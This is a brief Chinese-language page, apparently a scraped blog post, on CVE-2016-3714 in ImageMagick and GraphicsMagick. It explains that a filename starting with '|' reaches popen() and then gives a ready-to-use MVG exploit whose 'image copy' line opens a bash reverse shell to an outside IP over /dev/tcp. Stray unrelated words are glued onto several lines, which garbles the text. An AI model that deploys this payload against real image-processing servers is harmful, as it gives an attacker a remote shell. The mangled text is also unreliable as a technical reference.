CVE-2016-3714-GraphicsMagick、ImageMagick leak

GraphicsMagick、ImageMagick工具的全部版本都支持一种文件打开语法,当文件规范中的第一个字符是”|”的时候,文件名其他部分会传递给shell的popen()函数去执行,相关的代码在blob.c文件中的OpenBlob()函数中。shell

 

exploit code:bash

push graphic-contexttcp

viewbox 0 0 640 480函数

image copy 200,200 100,100 "|bash -i >& /dev/tcp/21x.x.x.x/1234 0>&1"工具

pop graphic-contextcode

相关文章
相关标签/搜索